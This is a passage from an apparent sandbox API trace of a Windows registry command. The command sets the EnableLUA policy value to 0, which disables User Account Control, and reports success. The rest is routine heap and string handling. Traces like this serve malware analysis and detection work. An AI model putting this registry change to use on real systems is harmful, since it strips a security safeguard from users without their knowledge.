	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0232.139] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0232.139] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0232.139] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
	[0232.140] StrDupW (lpSrch="REG_DWORD") returned="REG_DWORD"
	[0232.140] lstrlenW (lpString="REG_DWORD") returned 9
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0232.140] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 1
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_EXPAND_SZ", cchCount2=-1) returned 1
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_MULTI_SZ", cchCount2=-1) returned 1
	[0232.140] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_BINARY", cchCount2=-1) returned 3
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_DWORD", cchCount2=-1) returned 2
	[0232.141] LocalFree (hMem=0x272d5b850a0) returned 0x0
	[0232.141] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
	[0232.141] lstrlenW (lpString="0") returned 1
	[0232.141] GetProcessHeap () returned 0x272d5b80000
	[0232.141] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x4) returned 0x272d5b850a0
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0232.141] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0232.142] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0232.142] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0232.142] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0232.142] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0232.142] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0232.142] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
	[0232.142] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.142] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2720002001f, lpSecurityAttributes=0x0, phkResult=0xb77ab5f720, lpdwDisposition=0xb77ab5f738 | out: phkResult=0xb77ab5f720*=0x94, lpdwDisposition=0xb77ab5f738*=0x2) returned 0x0
	[0232.142] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0232.143] GetProcessHeap () returned 0x272d5b80000
	[0232.143] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b89070
	[0232.143] GetProcessHeap () returned 0x272d5b80000
	[0232.143] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x20) returned 0x272d5b890d0
	[0232.143] GetProcessHeap () returned 0x272d5b80000
	[0232.143] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x18) returned 0x272d5b83ed0
	[0232.143] _memicmp (_Buf1=0x272d5b83ed0, _Buf2=0x7ff68db201c8, _Size=0x7) returned 0
	[0232.143] GetProcessHeap () returned 0x272d5b80000
	[0232.143] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x200) returned 0x272d5b89df0
	[0232.143] LoadStringW (in: hInstance=0x0, uID=0xca, lpBuffer=0x272d5b89df0, cchBufferMax=256 | out: lpBuffer="Value %s exists, overwrite(Yes/No)? ") returned 0x24
	[0232.145] lstrlenW (lpString="Value %s exists, overwrite(Yes/No)? ") returned 36
	[0232.145] GetProcessHeap () returned 0x272d5b80000
	[0232.145] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x4a) returned 0x272d5b84590
	[0232.145] _memicmp (_Buf1=0x272d5b83ed0, _Buf2=0x7ff68db201c8, _Size=0x7) returned 0
	[0232.145] LoadStringW (in: hInstance=0x0, uID=0xce, lpBuffer=0x272d5b89df0, cchBufferMax=256 | out: lpBuffer="YNA") returned 0x3
	[0232.145] lstrlenW (lpString="YNA") returned 3
	[0232.145] GetProcessHeap () returned 0x272d5b80000
	[0232.146] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x8) returned 0x272d5b84c80
	[0232.146] GetThreadLocale () returned 0x409
	[0232.146] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="0", cchCount1=2, lpString2="0x", cchCount2=2) returned 1
	[0232.146] _memicmp (_Buf1=0x272d5b84c40, _Buf2=0x7ff68db201c8, _Size=0x7) returned 0
	[0232.146] lstrlenW (lpString="0") returned 1
	[0232.146] lstrlenW (lpString="0") returned 1
	[0232.146] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0232.146] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0232.146] lstrlenW (lpString="0") returned 1
	[0232.146] _errno () returned 0x272d5e00850
	[0232.146] _errno () returned 0x272d5e00850
	[0232.146] lstrlenW (lpString="") returned 0
	[0232.146] _memicmp (_Buf1=0x272d5b84c40, _Buf2=0x7ff68db201c8, _Size=0x7) returned 0
	[0232.146] lstrlenW (lpString="0") returned 1
	[0232.146] lstrlenW (lpString="0") returned 1
	[0232.147] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0232.147] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0232.147] lstrlenW (lpString="0") returned 1
	[0232.147] _errno () returned 0x272d5e00850
	[0232.147] _errno () returned 0x272d5e00850
	[0232.147] lstrlenW (lpString="") returned 0
	[0232.147] RegSetValueExW (in: hKey=0x94, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0xb77ab5f728*=0x0, cbData=0x4 | out: lpData=0xb77ab5f728*=0x0) returned 0x0
	[0232.147] RegCloseKey (hKey=0x94) returned 0x0
	[0232.147] GetProcessHeap () returned 0x272d5b80000
	[0232.147] GetProcessHeap () returned 0x272d5b80000
	[0232.147] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b841f0) returned 1
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b841f0) returned 0x74
	[0232.148] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b841f0) returned 1
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84fd0) returned 1
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84fd0) returned 0xa0
	[0232.148] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84fd0) returned 1
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b85080) returned 1
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b85080) returned 0x14
	[0232.148] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b85080) returned 1
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] GetProcessHeap () returned 0x272d5b80000
	[0232.148] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b850a0) returned 1
	[0232.149] GetProcessHeap () returned 0x272d5b80000
	[0232.149] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b850a0) returned 0x4
	[0232.149] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b850a0) returned 1
	[0232.150] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.150] GetLastError () returned 0x0
	[0232.150] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0xb77ab5f6a0, nSize=0x0, Arguments=0x0 | out: lpBuffer="䇰햸ɲ") returned 0x27
	[0232.152] GetLastError () returned 0x0
	[0232.152] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0232.152] GetProcessHeap () returned 0x272d5b80000
	[0232.152] GetProcessHeap () returned 0x272d5b80000
	[0232.152] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b840d0) returned 1
	[0232.152] GetProcessHeap () returned 0x272d5b80000
	[0232.152] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b840d0) returned 0x2
	[0232.152] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b840d0) returned 1
	[0232.152] GetProcessHeap () returned 0x272d5b80000
	[0232.152] RtlAllocateHeap (HeapHandle=0x272d5b80000, Flags=0xc, Size=0x50) returned 0x272d5b845f0
	[0232.152] RtlRestoreLastWin32Error () returned 0xb77accc000
	[0232.152] LocalFree (hMem=0x272d5b841f0) returned 0x0
	[0232.152] __iob_func () returned 0x7fff4e1dea00
	[0232.152] _fileno (_File=0x7fff4e1dea30) returned 1
	[0232.152] _errno () returned 0x272d5e00850
	[0232.152] _get_osfhandle (_FileHandle=1) returned 0x50
	[0232.152] _errno () returned 0x272d5e00850
	[0232.152] GetFileType (hFile=0x50) returned 0x2
	[0232.152] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50
	[0232.152] GetFileType (hFile=0x50) returned 0x2
	[0232.152] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xb77ab5f620 | out: lpMode=0xb77ab5f620) returned 1
	[0232.159] __iob_func () returned 0x7fff4e1dea00
	[0232.159] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50
	[0232.159] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0232.159] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x272d5b845f0*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0xb77ab5f690, lpReserved=0x0 | out: lpBuffer=0x272d5b845f0*, lpNumberOfCharsWritten=0xb77ab5f690*=0x27) returned 1
	[0232.211] GetProcessHeap () returned 0x272d5b80000
	[0232.211] GetProcessHeap () returned 0x272d5b80000
	[0232.211] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b89df0) returned 1
	[0232.211] GetProcessHeap () returned 0x272d5b80000
	[0232.211] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b89df0) returned 0x200
	[0232.211] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b89df0) returned 1
	[0232.211] GetProcessHeap () returned 0x272d5b80000
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b83ed0) returned 1
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b83ed0) returned 0x18
	[0232.212] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b83ed0) returned 1
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b890d0) returned 1
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b890d0) returned 0x20
	[0232.212] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b890d0) returned 1
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b83e40) returned 1
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.212] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b83e40) returned 0x84
	[0232.212] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b83e40) returned 1
	[0232.212] GetProcessHeap () returned 0x272d5b80000
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84c60) returned 1
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84c60) returned 0x18
	[0232.213] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84c60) returned 1
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b892b0) returned 1
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b892b0) returned 0x20
	[0232.213] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b892b0) returned 1
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b89040) returned 1
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b89040) returned 0x1e
	[0232.213] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b89040) returned 1
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.213] GetProcessHeap () returned 0x272d5b80000
	[0232.214] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84c40) returned 1
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84c40) returned 0x18
	[0232.214] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84c40) returned 1
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b891c0) returned 1
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b891c0) returned 0x20
	[0232.214] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b891c0) returned 1
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b845f0) returned 1
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b845f0) returned 0x50
	[0232.214] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b845f0) returned 1
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.214] GetProcessHeap () returned 0x272d5b80000
	[0232.215] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b840f0) returned 1
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b840f0) returned 0x20
	[0232.215] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b840f0) returned 1
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84590) returned 1
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84590) returned 0x4a
	[0232.215] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84590) returned 1
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84950) returned 1
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.215] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84950) returned 0x20
	[0232.215] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84950) returned 1
	[0232.215] GetProcessHeap () returned 0x272d5b80000
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84c80) returned 1
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84c80) returned 0x8
	[0232.216] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84c80) returned 1
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84980) returned 1
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84980) returned 0x20
	[0232.216] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84980) returned 1
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b849b0) returned 1
	[0232.216] GetProcessHeap () returned 0x272d5b80000
	[0232.216] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b849b0) returned 0x20
	[0232.216] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b849b0) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84120) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84120) returned 0x18
	[0232.217] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84120) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b849e0) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b849e0) returned 0x20
	[0232.217] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b849e0) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84880) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.217] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84880) returned 0x20
	[0232.217] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84880) returned 1
	[0232.217] GetProcessHeap () returned 0x272d5b80000
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b89280) returned 1
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b89280) returned 0x20
	[0232.218] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b89280) returned 1
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b89220) returned 1
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b89220) returned 0x20
	[0232.218] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b89220) returned 1
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b84860) returned 1
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.218] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b84860) returned 0x18
	[0232.218] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b84860) returned 1
	[0232.218] GetProcessHeap () returned 0x272d5b80000
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b890a0) returned 1
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b890a0) returned 0x20
	[0232.219] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b890a0) returned 1
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b89010) returned 1
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b89010) returned 0x20
	[0232.219] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b89010) returned 1
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b89070) returned 1
	[0232.219] GetProcessHeap () returned 0x272d5b80000
	[0232.219] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b89070) returned 0x20
	[0232.219] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b89070) returned 1
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.220] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b848b0) returned 1
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.220] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b848b0) returned 0x18
	[0232.220] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b848b0) returned 1
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.220] HeapValidate (hHeap=0x272d5b80000, dwFlags=0x0, lpMem=0x272d5b88fe0) returned 1
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.220] RtlSizeHeap (HeapHandle=0x272d5b80000, Flags=0x0, MemoryPointer=0x272d5b88fe0) returned 0x20
	[0232.220] RtlFreeHeap (HeapHandle=0x272d5b80000, Flags=0x0, BaseAddress=0x272d5b88fe0) returned 1
	[0232.220] GetProcessHeap () returned 0x272d5b80000
	[0232.221] GetProcessHeap () returned 0x272d5b80000
